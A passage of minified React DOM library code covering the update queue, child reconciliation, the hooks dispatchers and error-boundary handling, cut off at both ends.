d={eventTime:d,lane:h,tag:a.tag,payload:a.payload,callback:a.callback,next:null},null===l?(c=l=d,u=f):l=l.next=d,s|=h;if(null===(a=a.next)){if(null===(a=i.shared.pending))break;a=(h=a).next,h.next=null,i.lastBaseUpdate=h,i.shared.pending=null}}if(null===l&&(u=f),i.baseState=u,i.firstBaseUpdate=c,i.lastBaseUpdate=l,null!==(t=i.shared.interleaved)){i=t;do{s|=i.lane,i=i.next}while(i!==t)}else null===o&&(i.shared.lanes=0);Du|=s,e.lanes=s,e.memoizedState=f}}function Uo(e,t,r){if(e=t.effects,t.effects=null,null!==e)for(t=0;t<e.length;t++){var i=e[t],o=i.callback;if(null!==o){if(i.callback=null,i=r,"function"!=typeof o)throw Error(n(191,o));o.call(i)}}}var Do=(new e.Component).refs;function zo(e,t,n,r){n=null==(n=n(r,t=e.memoizedState))?t:L({},t,n),e.memoizedState=n,0===e.lanes&&(e.updateQueue.baseState=n)}var Fo={isMounted:function(e){return!!(e=e._reactInternals)&&Fe(e)===e},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=nc(),i=rc(e),o=No(r,i);o.payload=t,null!=n&&(o.callback=n),null!==(t=To(e,o,i))&&(ic(t,e,i,r),Mo(t,e,i))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=nc(),i=rc(e),o=No(r,i);o.tag=1,o.payload=t,null!=n&&(o.callback=n),null!==(t=To(e,o,i))&&(ic(t,e,i,r),Mo(t,e,i))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=nc(),r=rc(e),i=No(n,r);i.tag=2,null!=t&&(i.callback=t),null!==(t=To(e,i,r))&&(ic(t,e,r,n),Mo(t,e,r))}};function Bo(e,t,n,r,i,o,s){return"function"==typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,o,s):!t.prototype||!t.prototype.isPureReactComponent||(!sr(n,r)||!sr(i,o))}function Ho(e,t,n){var r=!1,i=xi,o=t.contextType;return"object"==typeof o&&null!==o?o=Oo(o):(i=Pi(t)?ki:Ii.current,o=(r=null!=(r=t.contextTypes))?Ci(e,i):xi),t=new t(n,o),e.memoizedState=null!==t.state&&void 0!==t.state?t.state:null,t.updater=Fo,e.stateNode=t,t._reactInternals=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=i,e.__reactInternalMemoizedMaskedChildContext=o),t}function qo(e,t,n,r){e=t.state,"function"==typeof t.componentWillReceiveProps&&t.componentWillReceiveProps(n,r),"function"==typeof t.UNSAFE_componentWillReceiveProps&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&Fo.enqueueReplaceState(t,t.state,null)}function Vo(e,t,n,r){var i=e.stateNode;i.props=n,i.state=e.memoizedState,i.refs=Do,Po(e);var o=t.contextType;"object"==typeof o&&null!==o?i.context=Oo(o):(o=Pi(t)?ki:Ii.current,i.context=Ci(e,o)),i.state=e.memoizedState,"function"==typeof(o=t.getDerivedStateFromProps)&&(zo(e,t,o,n),i.state=e.memoizedState),"function"==typeof t.getDerivedStateFromProps||"function"==typeof i.getSnapshotBeforeUpdate||"function"!=typeof i.UNSAFE_componentWillMount&&"function"!=typeof i.componentWillMount||(t=i.state,"function"==typeof i.componentWillMount&&i.componentWillMount(),"function"==typeof i.UNSAFE_componentWillMount&&i.UNSAFE_componentWillMount(),t!==i.state&&Fo.enqueueReplaceState(i,i.state,null),jo(e,n,i,r),i.state=e.memoizedState),"function"==typeof i.componentDidMount&&(e.flags|=4194308)}function $o(e,t,r){if(null!==(e=r.ref)&&"function"!=typeof e&&"object"!=typeof e){if(r._owner){if(r=r._owner){if(1!==r.tag)throw Error(n(309));var i=r.stateNode}if(!i)throw Error(n(147,e));var o=i,s=""+e;return null!==t&&null!==t.ref&&"function"==typeof t.ref&&t.ref._stringRef===s?t.ref:(t=function(e){var t=o.refs;t===Do&&(t=o.refs={}),null===e?delete t[s]:t[s]=e},t._stringRef=s,t)}if("string"!=typeof e)throw Error(n(284));if(!r._owner)throw Error(n(290,e))}return e}function Wo(e,t){throw e=Object.prototype.toString.call(t),Error(n(31,"[object Object]"===e?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function Ko(e){return(0,e._init)(e._payload)}function Go(e){function t(t,n){if(e){var r=t.deletions;null===r?(t.deletions=[n],t.flags|=16):r.push(n)}}function r(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function i(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function o(e,t){return(e=Lc(e,t)).index=0,e.sibling=null,e}function s(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.flags|=2,n):r:(t.flags|=2,n):(t.flags|=1048576,n)}function a(t){return e&&null===t.alternate&&(t.flags|=2),t}function u(e,t,n,r){return null===t||6!==t.tag?((t=zc(n,e.mode,r)).return=e,t):((t=o(t,n)).return=e,t)}function c(e,t,n,r){var i=n.type;return i===w?f(e,t,n.props.children,r,n.key):null!==t&&(t.elementType===i||"object"==typeof i&&null!==i&&i.$$typeof===P&&Ko(i)===t.type)?((r=o(t,n.props)).ref=$o(e,t,n),r.return=e,r):((r=jc(n.type,n.key,n.props,null,e.mode,r)).ref=$o(e,t,n),r.return=e,r)}function l(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Fc(n,e.mode,r)).return=e,t):((t=o(t,n.children||[])).return=e,t)}function f(e,t,n,r,i){return null===t||7!==t.tag?((t=Uc(n,e.mode,r,i)).return=e,t):((t=o(t,n)).return=e,t)}function h(e,t,n){if("string"==typeof t&&""!==t||"number"==typeof t)return(t=zc(""+t,e.mode,n)).return=e,t;if("object"==typeof t&&null!==t){switch(t.$$typeof){case _:return(n=jc(t.type,t.key,t.props,null,e.mode,n)).ref=$o(e,null,t),n.return=e,n;case b:return(t=Fc(t,e.mode,n)).return=e,t;case P:return h(e,(0,t._init)(t._payload),n)}if(Z(t)||T(t))return(t=Uc(t,e.mode,n,null)).return=e,t;Wo(e,t)}return null}function d(e,t,n,r){var i=null!==t?t.key:null;if("string"==typeof n&&""!==n||"number"==typeof n)return null!==i?null:u(e,t,""+n,r);if("object"==typeof n&&null!==n){switch(n.$$typeof){case _:return n.key===i?c(e,t,n,r):null;case b:return n.key===i?l(e,t,n,r):null;case P:return d(e,t,(i=n._init)(n._payload),r)}if(Z(n)||T(n))return null!==i?null:f(e,t,n,r,null);Wo(e,n)}return null}function p(e,t,n,r,i){if("string"==typeof r&&""!==r||"number"==typeof r)return u(t,e=e.get(n)||null,""+r,i);if("object"==typeof r&&null!==r){switch(r.$$typeof){case _:return c(t,e=e.get(null===r.key?n:r.key)||null,r,i);case b:return l(t,e=e.get(null===r.key?n:r.key)||null,r,i);case P:return p(e,t,n,(0,r._init)(r._payload),i)}if(Z(r)||T(r))return f(t,e=e.get(n)||null,r,i,null);Wo(t,r)}return null}function g(n,o,a,u){for(var c=null,l=null,f=o,g=o=0,y=null;null!==f&&g<a.length;g++){f.index>g?(y=f,f=null):y=f.sibling;var v=d(n,f,a[g],u);if(null===v){null===f&&(f=y);break}e&&f&&null===v.alternate&&t(n,f),o=s(v,o,g),null===l?c=v:l.sibling=v,l=v,f=y}if(g===a.length)return r(n,f),no&&Qi(n,g),c;if(null===f){for(;g<a.length;g++)null!==(f=h(n,a[g],u))&&(o=s(f,o,g),null===l?c=f:l.sibling=f,l=f);return no&&Qi(n,g),c}for(f=i(n,f);g<a.length;g++)null!==(y=p(f,n,g,a[g],u))&&(e&&null!==y.alternate&&f.delete(null===y.key?g:y.key),o=s(y,o,g),null===l?c=y:l.sibling=y,l=y);return e&&f.forEach((function(e){return t(n,e)})),no&&Qi(n,g),c}function y(o,a,u,c){var l=T(u);if("function"!=typeof l)throw Error(n(150));if(null==(u=l.call(u)))throw Error(n(151));for(var f=l=null,g=a,y=a=0,v=null,m=u.next();null!==g&&!m.done;y++,m=u.next()){g.index>y?(v=g,g=null):v=g.sibling;var _=d(o,g,m.value,c);if(null===_){null===g&&(g=v);break}e&&g&&null===_.alternate&&t(o,g),a=s(_,a,y),null===f?l=_:f.sibling=_,f=_,g=v}if(m.done)return r(o,g),no&&Qi(o,y),l;if(null===g){for(;!m.done;y++,m=u.next())null!==(m=h(o,m.value,c))&&(a=s(m,a,y),null===f?l=m:f.sibling=m,f=m);return no&&Qi(o,y),l}for(g=i(o,g);!m.done;y++,m=u.next())null!==(m=p(g,o,y,m.value,c))&&(e&&null!==m.alternate&&g.delete(null===m.key?y:m.key),a=s(m,a,y),null===f?l=m:f.sibling=m,f=m);return e&&g.forEach((function(e){return t(o,e)})),no&&Qi(o,y),l}return function e(n,i,s,u){if("object"==typeof s&&null!==s&&s.type===w&&null===s.key&&(s=s.props.children),"object"==typeof s&&null!==s){switch(s.$$typeof){case _:e:{for(var c=s.key,l=i;null!==l;){if(l.key===c){if((c=s.type)===w){if(7===l.tag){r(n,l.sibling),(i=o(l,s.props.children)).return=n,n=i;break e}}else if(l.elementType===c||"object"==typeof c&&null!==c&&c.$$typeof===P&&Ko(c)===l.type){r(n,l.sibling),(i=o(l,s.props)).ref=$o(n,l,s),i.return=n,n=i;break e}r(n,l);break}t(n,l),l=l.sibling}s.type===w?((i=Uc(s.props.children,n.mode,u,s.key)).return=n,n=i):((u=jc(s.type,s.key,s.props,null,n.mode,u)).ref=$o(n,i,s),u.return=n,n=u)}return a(n);case b:e:{for(l=s.key;null!==i;){if(i.key===l){if(4===i.tag&&i.stateNode.containerInfo===s.containerInfo&&i.stateNode.implementation===s.implementation){r(n,i.sibling),(i=o(i,s.children||[])).return=n,n=i;break e}r(n,i);break}t(n,i),i=i.sibling}(i=Fc(s,n.mode,u)).return=n,n=i}return a(n);case P:return e(n,i,(l=s._init)(s._payload),u)}if(Z(s))return g(n,i,s,u);if(T(s))return y(n,i,s,u);Wo(n,s)}return"string"==typeof s&&""!==s||"number"==typeof s?(s=""+s,null!==i&&6===i.tag?(r(n,i.sibling),(i=o(i,s)).return=n,n=i):(r(n,i),(i=zc(s,n.mode,u)).return=n,n=i),a(n)):r(n,i)}}var Yo=Go(!0),Qo=Go(!1),Jo={},Xo=Ei(Jo),Zo=Ei(Jo),es=Ei(Jo);function ns(e){if(e===Jo)throw Error(n(174));return e}function rs(e,t){switch(Oi(es,t),Oi(Zo,e),Oi(Xo,Jo),e=t.nodeType){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:se(null,"");break;default:t=se(t=(e=8===e?t.parentNode:t).namespaceURI||null,e=e.tagName)}Si(Xo),Oi(Xo,t)}function os(){Si(Xo),Si(Zo),Si(es)}function ss(e){ns(es.current);var t=ns(Xo.current),n=se(t,e.type);t!==n&&(Oi(Zo,e),Oi(Xo,n))}function us(e){Zo.current===e&&(Si(Xo),Si(Zo))}var cs=Ei(0);function ls(e){for(var t=e;null!==t;){if(13===t.tag){var n=t.memoizedState;if(null!==n&&(null===(n=n.dehydrated)||"$?"===n.data||"$!"===n.data))return t}else if(19===t.tag&&void 0!==t.memoizedProps.revealOrder){if(0!=(128&t.flags))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var fs=[];function hs(){for(var e=0;e<fs.length;e++)fs[e]._workInProgressVersionPrimary=null;fs.length=0}var ds=v.ReactCurrentDispatcher,ps=v.ReactCurrentBatchConfig,gs=0,ys=null,vs=null,ms=null,_s=!1,bs=!1,ws=0,Es=0;function Ss(){throw Error(n(321))}function Os(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!or(e[n],t[n]))return!1;return!0}function xs(e,t,r,i,o,s){if(gs=s,ys=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,ds.current=null===e||null===e.memoizedState?ua:ca,e=r(i,o),bs){s=0;do{if(bs=!1,ws=0,25<=s)throw Error(n(301));s+=1,ms=vs=null,t.updateQueue=null,ds.current=la,e=r(i,o)}while(bs)}if(ds.current=aa,t=null!==vs&&null!==vs.next,gs=0,ms=vs=ys=null,_s=!1,t)throw Error(n(300));return e}function Is(){var e=0!==ws;return ws=0,e}function Rs(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===ms?ys.memoizedState=ms=e:ms=ms.next=e,ms}function ks(){if(null===vs){var e=ys.alternate;e=null!==e?e.memoizedState:null}else e=vs.next;var t=null===ms?ys.memoizedState:ms.next;if(null!==t)ms=t,vs=e;else{if(null===e)throw Error(n(310));e={memoizedState:(vs=e).memoizedState,baseState:vs.baseState,baseQueue:vs.baseQueue,queue:vs.queue,next:null},null===ms?ys.memoizedState=ms=e:ms=ms.next=e}return ms}function Cs(e,t){return"function"==typeof t?t(e):t}function Ps(e){var t=ks(),r=t.queue;if(null===r)throw Error(n(311));r.lastRenderedReducer=e;var i=vs,o=i.baseQueue,s=r.pending;if(null!==s){if(null!==o){var a=o.next;o.next=s.next,s.next=a}i.baseQueue=o=s,r.pending=null}if(null!==o){s=o.next,i=i.baseState;var u=a=null,c=null,l=s;do{var f=l.lane;if((gs&f)===f)null!==c&&(c=c.next={lane:0,action:l.action,hasEagerState:l.hasEagerState,eagerState:l.eagerState,next:null}),i=l.hasEagerState?l.eagerState:e(i,l.action);else{var h={lane:f,action:l.action,hasEagerState:l.hasEagerState,eagerState:l.eagerState,next:null};null===c?(u=c=h,a=i):c=c.next=h,ys.lanes|=f,Du|=f}l=l.next}while(null!==l&&l!==s);null===c?a=i:c.next=u,or(i,t.memoizedState)||(wa=!0),t.memoizedState=i,t.baseState=a,t.baseQueue=c,r.lastRenderedState=i}if(null!==(e=r.interleaved)){o=e;do{s=o.lane,ys.lanes|=s,Du|=s,o=o.next}while(o!==e)}else null===o&&(r.lanes=0);return[t.memoizedState,r.dispatch]}function As(e){var t=ks(),r=t.queue;if(null===r)throw Error(n(311));r.lastRenderedReducer=e;var i=r.dispatch,o=r.pending,s=t.memoizedState;if(null!==o){r.pending=null;var a=o=o.next;do{s=e(s,a.action),a=a.next}while(a!==o);or(s,t.memoizedState)||(wa=!0),t.memoizedState=s,null===t.baseQueue&&(t.baseState=s),r.lastRenderedState=s}return[s,i]}function Ns(){}function Ts(e,t){var r=ys,i=ks(),o=t(),s=!or(i.memoizedState,o);if(s&&(i.memoizedState=o,wa=!0),i=i.queue,$s(js.bind(null,r,i,e),[e]),i.getSnapshot!==t||s||null!==ms&&1&ms.memoizedState.tag){if(r.flags|=2048,Fs(9,Ls.bind(null,r,i,o,t),void 0,null),null===Au)throw Error(n(349));0!=(30&gs)||Ms(r,t,o)}return o}function Ms(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},null===(t=ys.updateQueue)?(t={lastEffect:null,stores:null},ys.updateQueue=t,t.stores=[e]):null===(n=t.stores)?t.stores=[e]:n.push(e)}function Ls(e,t,n,r){t.value=n,t.getSnapshot=r,Us(t)&&Ds(e)}function js(e,t,n){return n((function(){Us(t)&&Ds(e)}))}function Us(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!or(e,n)}catch(e){return!0}}function Ds(e){var t=ko(e,1);null!==t&&ic(t,e,1,-1)}function zs(e){var t=Rs();return"function"==typeof e&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Cs,lastRenderedState:e},t.queue=e,e=e.dispatch=ra.bind(null,ys,e),[t.memoizedState,e]}function Fs(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},null===(t=ys.updateQueue)?(t={lastEffect:null,stores:null},ys.updateQueue=t,t.lastEffect=e.next=e):null===(n=t.lastEffect)?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function Bs(){return ks().memoizedState}function Hs(e,t,n,r){var i=Rs();ys.flags|=e,i.memoizedState=Fs(1|t,n,void 0,void 0===r?null:r)}function qs(e,t,n,r){var i=ks();r=void 0===r?null:r;var o=void 0;if(null!==vs){var s=vs.memoizedState;if(o=s.destroy,null!==r&&Os(r,s.deps))return void(i.memoizedState=Fs(t,n,o,r))}ys.flags|=e,i.memoizedState=Fs(1|t,n,o,r)}function Vs(e,t){return Hs(8390656,8,e,t)}function $s(e,t){return qs(2048,8,e,t)}function Ws(e,t){return qs(4,2,e,t)}function Ks(e,t){return qs(4,4,e,t)}function Gs(e,t){return"function"==typeof t?(e=e(),t(e),function(){t(null)}):null!=t?(e=e(),t.current=e,function(){t.current=null}):void 0}function Ys(e,t,n){return n=null!=n?n.concat([e]):null,qs(4,4,Gs.bind(null,t,e),n)}function Qs(){}function Js(e,t){var n=ks();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Os(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function Xs(e,t){var n=ks();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Os(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function Zs(e,t,n){return 0==(21&gs)?(e.baseState&&(e.baseState=!1,wa=!0),e.memoizedState=n):(or(n,t)||(n=dt(),ys.lanes|=n,Du|=n,e.baseState=!0),t)}function ea(e,t){var n=vt;vt=0!==n&&4>n?n:4,e(!0);var r=ps.transition;ps.transition={};try{e(!1),t()}finally{vt=n,ps.transition=r}}function ta(){return ks().memoizedState}function na(e,t,n){var r=rc(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},ia(e))oa(t,n);else if(null!==(n=Ro(e,t,n,r))){ic(n,e,r,nc()),sa(n,t,r)}}function ra(e,t,n){var r=rc(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(ia(e))oa(t,i);else{var o=e.alternate;if(0===e.lanes&&(null===o||0===o.lanes)&&null!==(o=t.lastRenderedReducer))try{var s=t.lastRenderedState,a=o(s,n);if(i.hasEagerState=!0,i.eagerState=a,or(a,s)){var u=t.interleaved;return null===u?(i.next=i,Io(t)):(i.next=u.next,u.next=i),void(t.interleaved=i)}}catch(e){}null!==(n=Ro(e,t,i,r))&&(ic(n,e,r,i=nc()),sa(n,t,r))}}function ia(e){var t=e.alternate;return e===ys||null!==t&&t===ys}function oa(e,t){bs=_s=!0;var n=e.pending;null===n?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function sa(e,t,n){if(0!=(4194240&n)){var r=t.lanes;n|=r&=e.pendingLanes,t.lanes=n,yt(e,n)}}var aa={readContext:Oo,useCallback:Ss,useContext:Ss,useEffect:Ss,useImperativeHandle:Ss,useInsertionEffect:Ss,useLayoutEffect:Ss,useMemo:Ss,useReducer:Ss,useRef:Ss,useState:Ss,useDebugValue:Ss,useDeferredValue:Ss,useTransition:Ss,useMutableSource:Ss,useSyncExternalStore:Ss,useId:Ss,unstable_isNewReconciler:!1},ua={readContext:Oo,useCallback:function(e,t){return Rs().memoizedState=[e,void 0===t?null:t],e},useContext:Oo,useEffect:Vs,useImperativeHandle:function(e,t,n){return n=null!=n?n.concat([e]):null,Hs(4194308,4,Gs.bind(null,t,e),n)},useLayoutEffect:function(e,t){return Hs(4194308,4,e,t)},useInsertionEffect:function(e,t){return Hs(4,2,e,t)},useMemo:function(e,t){var n=Rs();return t=void 0===t?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Rs();return t=void 0!==n?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=na.bind(null,ys,e),[r.memoizedState,e]},useRef:function(e){return e={current:e},Rs().memoizedState=e},useState:zs,useDebugValue:Qs,useDeferredValue:function(e){return Rs().memoizedState=e},useTransition:function(){var e=zs(!1),t=e[0];return e=ea.bind(null,e[1]),Rs().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,r){var i=ys,o=Rs();if(no){if(void 0===r)throw Error(n(407));r=r()}else{if(r=t(),null===Au)throw Error(n(349));0!=(30&gs)||Ms(i,t,r)}o.memoizedState=r;var s={value:r,getSnapshot:t};return o.queue=s,Vs(js.bind(null,i,s,e),[e]),i.flags|=2048,Fs(9,Ls.bind(null,i,s,r,t),void 0,null),r},useId:function(){var e=Rs(),t=Au.identifierPrefix;if(no){var n=Yi;t=":"+t+"R"+(n=(Gi&~(1<<32-it(Gi)-1)).toString(32)+n),0<(n=ws++)&&(t+="H"+n.toString(32)),t+=":"}else t=":"+t+"r"+(n=Es++).toString(32)+":";return e.memoizedState=t},unstable_isNewReconciler:!1},ca={readContext:Oo,useCallback:Js,useContext:Oo,useEffect:$s,useImperativeHandle:Ys,useInsertionEffect:Ws,useLayoutEffect:Ks,useMemo:Xs,useReducer:Ps,useRef:Bs,useState:function(){return Ps(Cs)},useDebugValue:Qs,useDeferredValue:function(e){return Zs(ks(),vs.memoizedState,e)},useTransition:function(){return[Ps(Cs)[0],ks().memoizedState]},useMutableSource:Ns,useSyncExternalStore:Ts,useId:ta,unstable_isNewReconciler:!1},la={readContext:Oo,useCallback:Js,useContext:Oo,useEffect:$s,useImperativeHandle:Ys,useInsertionEffect:Ws,useLayoutEffect:Ks,useMemo:Xs,useReducer:As,useRef:Bs,useState:function(){return As(Cs)},useDebugValue:Qs,useDeferredValue:function(e){var t=ks();return null===vs?t.memoizedState=e:Zs(t,vs.memoizedState,e)},useTransition:function(){return[As(Cs)[0],ks().memoizedState]},useMutableSource:Ns,useSyncExternalStore:Ts,useId:ta,unstable_isNewReconciler:!1};function fa(e,t){try{var n="",r=t;do{n+=z(r),r=r.return}while(r);var i=n}catch(e){i="\nError generating stack: "+e.message+"\n"+e.stack}return{value:e,source:t,stack:i,digest:null}}function ha(e,t,n){return{value:e,source:null,stack:null!=n?n:null,digest:null!=t?t:null}}function da(e,t){try{console.error(t.value)}catch(e){setTimeout((function(){throw e}))}}var pa="function"==typeof WeakMap?WeakMap:Map;function ga(e,t,n){(n=No(-1,n)).tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Wu||(Wu=!0,Ku=r),da(0,t)},n}function ya(e,t,n){(n=No(-1,n)).tag=3;var r=e.type.getDerivedStateFromError;if("function"==typeof r){var i=t.value;n.payload=function(){return r(i)},n.callback=function(){da(0,t)}}var o=e.stateNode;return null!==o&&"function"==typeof o.componentDidCatch&&(n.callback=function(){da(0,t),"function"!=typeof r&&(null===Gu?Gu=new Set([this]):Gu.add(this));var e=t.stack;this.componentDidCatch(t.value,{componentStack:null!==e?e:""})}),n}function va(e,t,n){var r=e.pingCache;if(null===r){r=e.pingCache=new pa;var i=new Set;r.set(t,i)}else void 0===(i=r.get(t))&&(i=new Set,r.set(t,i));i.has(n)||(i.add(n),e=Rc.bind(null,e,t,n),t.then(e,e))}function ma(e){do{var t;if((t=13===e.tag)&&(t=null===(t=e.memoizedState)||null!==t.dehydrated),t)return e;e=e.return}while(null!==e);return null}function _a(e,t,n,r,i){return 0==(1&e.mode)?(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,1===n.tag&&(null===n.alternate?n.tag=17:((t=No(-1,1)).tag=2,To(n,t,1))),n.lanes|=1),e):(e.flags|=65536,e.lanes=i,e)}var ba=v.ReactCurrentOwner,wa=!1;function Ea(e,t,n,r){t.child=null===e?Qo(t,null,n,r):Yo(t,e.child,n,r)}function Sa(e,t,n,r,i){n=n.render;var o=t.ref;return So(t,i),r=xs(e,t,n,r,o,i),n=Is(),null===e||wa?(no&&n&&Xi(t),t.flags|=1,Ea(e,t,r,i),t.child):(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Wa(e,t,i))}function Oa(e,t,n,r,i){if(null===e){var o=n.type;return"function"!=typeof o||Mc(o)||void 0!==o.defaultProps||null!==n.compare||void 0!==n.defaultProps?((e=jc(n.type,null,r,t,t.mode,i)).ref=t.ref,e.return=t,t.child=e):(t.tag=15,t.type=o,xa(e,t,o,r,i))}if(o=e.child,0==(e.lanes&i)){var s=o.memoizedProps;if((n=null!==(n=n.compare)?n:sr)(s,r)&&e.ref===t.ref)return Wa(e,t,i)}return t.flags|=1,(e=Lc(o,r)).ref=t.ref,e.return=t,t.child=e}function xa(e,t,n,r,i){if(null!==e){var o=e.memoizedProps;if(sr(o,r)&&e.ref===t.ref){if(wa=!1,t.pendingProps=r=o,0==(e.lanes&i))return t.lanes=e.lanes,Wa(e,t,i);0!=(131072&e.flags)&&(wa=!0)}}return ka(e,t,n,r,i)}function Ia(e,t,n){var r=t.pendingProps,i=r.children,o=null!==e?e.memoizedState:null;if("hidden"===r.mode)if(0==(1&t.mode))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},Oi(Lu,Mu),Mu|=n;else{if(0==(1073741824&n))return e=null!==o?o.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,Oi(Lu,Mu),Mu|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=null!==o?o.baseLanes:n,Oi(Lu,Mu),Mu|=r}else null!==o?(r=o.baseLanes|n,t.memoizedState=null):r=n,Oi(Lu,Mu),Mu|=r;return Ea(e,t,i,n),t.child}function Ra(e,t){var n=t.ref;(null===e&&null!==n||null!==e&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function ka(e,t,n,r,i){var o=Pi(n)?ki:Ii.current;return o=Ci(t,o),So(t,i),n=xs(e,t,n,r,o,i),r=Is(),null===e||wa?(no&&r&&Xi(t),t.flags|=1,Ea(e,t,n,i),t.child):(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Wa(e,t,i))}function Ca(e,t,n,r,i){if(Pi(n)){var o=!0;Mi(t)}else o=!1;if(So(t,i),null===t.stateNode)$a(e,t),Ho(t,n,r),Vo(t,n,r,i),r=!0;else if(null===e){var s=t.stateNode,a=t.memoizedProps;s.props=a;var u=s.context,c=n.contextType;"object"==typeof c&&null!==c?c=Oo(c):c=Ci(t,c=Pi(n)?ki:Ii.current);var l=n.getDerivedStateFromProps,f="function"==typeof l||"function"==typeof s.getSnapshotBeforeUpdate;f||"function"!=typeof s.UNSAFE_componentWillReceiveProps&&"function"!=typeof s.componentWillReceiveProps||(a!==r||u!==c)&&qo(t,s,r,c),Co=!1;var h=t.memoizedState;s.state=h,jo(t,r,s,i),u=t.memoizedState,a!==r||h!==u||Ri.current||Co?("function"==typeof l&&(zo(t,n,l,r),u=t.memoizedState),(a=Co||Bo(t,n,a,r,h,u,c))?(f||"function"!=typeof s.UNSAFE_componentWillMount&&"function"!=typeof s.componentWillMount||("function"==typeof s.componentWillMount&&s.componentWillMount(),"function"==typeof s.UNSAFE_componentWillMount&&s.UNSAFE_componentWillMount()),"function"==typeof s.componentDidMount&&(t.flags|=4194308)):("function"==typeof s.componentDidMount&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=u),s.props=r,s.state=u,s.context=c,r=a):("function"==typeof s.componentDidMount&&(t.flags|=4194308),r=!1)}else{s=t.stateNode,Ao(e,t),a=t.memoizedProps,c=t.type===t.elementType?a:go(t.type,a),s.props=c,f=t.pendingProps,h=s.context,"object"==typeof(u=n.contextType)&&null!==u?u=Oo(u):u=Ci(t,u=Pi(n)?ki:Ii.current);var d=n.getDerivedStateFromProps;(l="function"==typeof d||"function"==typeof s.getSnapshotBeforeUpdate)||"function"!=typeof s.UNSAFE_componentWillReceiveProps&&"function"!=typeof s.componentWillReceiveProps||(a!==f||h!==u)&&qo(t,s,r,u),Co=!1,h=t.memoizedState,s.state=h,jo(t,r,s,i);var p=t.memoizedState;a!==f||h!==p||Ri.current||Co?("function"==typeof d&&(zo(t,n,d,r),p=t.memoizedState),(c=Co||Bo(t,n,c,r,h,p,u)||!1)?(l||"function"!=typeof s.UNSAFE_componentWillUpdate&&"function"!=typeof s.componentWillUpdate||("function"==typeof s.componentWillUpdate&&s.componentWillUpdate(r,p,u),"function"==typeof s.UNSAFE_componentWillUpdate&&s.UNSAFE_componentWillUpdate(r,p,u)),"function"==typeof s.componentDidUpdate&&(t.flags|=4),"function"==typeof s.getSnapshotBeforeUpdate&&(t.flags|=1024)):("function"!=typeof s.componentDidUpdate||a===e.memoizedProps&&h===e.memoizedState||(t.flags|=4),"function"!=typeof s.getSnapshotBeforeUpdate||a===e.memoizedProps&&h===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=p),s.props=r,s.state=p,s.context=u,r=c):("function"!=typeof s.componentDidUpdate||a===e.memoizedProps&&h===e.memoizedState||(t.flags|=4),"function"!=typeof s.getSnapshotBeforeUpdate||a===e.memoizedProps&&h===e.memoizedState||(t.flags|=1024),r=!1)}return Pa(e,t,n,r,o,i)}function Pa(e,t,n,r,i,o){Ra(e,t);var s=0!=(128&t.flags);if(!r&&!s)return i&&Li(t,n,!1),Wa(e,t,o);r=t.stateNode,ba.current=t;var a=s&&"function"!=typeof n.getDerivedStateFromError?null:r.render();return t.flags|=1,null!==e&&s?(t.child=Yo(t,e.child,null,o),t.child=Yo(t,null,a,o)):Ea(e,t,a,o),t.memoizedState=r.state,i&&Li(t,n,!0),t.child}function Aa(e){var t=e.stateNode;t.pendingContext?Ni(0,t.pendingContext,t.pendingContext!==t.context):t.context&&Ni(0,t.context,!1),rs(e,t.containerInfo)}function Na(e,t,n,r,i){return fo(),ho(i),t.flags|=256,Ea(e,t,n,r),t.child}var Ta,Ma,La,ja,Ua={dehydrated:null,treeContext:null,retryLane:0};function Da(e){return{baseLanes:e,cachePool:null,transitions:null}}function za(e,t,r){var 